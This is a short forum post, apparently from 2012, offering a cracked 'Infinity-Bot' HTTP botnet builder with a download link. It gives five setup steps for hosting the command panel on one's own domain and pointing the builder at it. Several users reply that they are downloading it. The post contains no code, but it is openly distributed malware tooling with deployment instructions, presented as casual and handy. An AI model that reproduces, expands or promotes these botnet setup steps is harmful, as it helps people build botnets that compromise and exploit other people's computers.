[=====\] Infinity-Bot Cracked ~ Builder \[=====](#)

[img]http://www1.xup.in/exec/ximg.php?fid=99812118[/img]

]-----[

How To:

- 1) Click Drop Panel.rar
- 2) Unrar and edit conf
- 3) Up it to your host in /infinity/
- 4) Paste your Domain in Builder (Domain hast to be 14 Chars)
*Example: abc.com/aaaaa is ok!
- 5) Done!

This looks interesting as well. I downloaded it... got tutorials on these things? I'm new and trying to learn :)

niian - April 13, 2012, 5:56 pm

Indeed, a little more info would be great, but looks nice dude.

UNH - Legendzz™ - April 13, 2012, 6:10 pm

This is a http bot builder u can aslo click drop panel to get http files.?

Game Over Sucker - April 13, 2012, 6:48 pm

Downloading Now This Could Come In Handy Sometime. :)
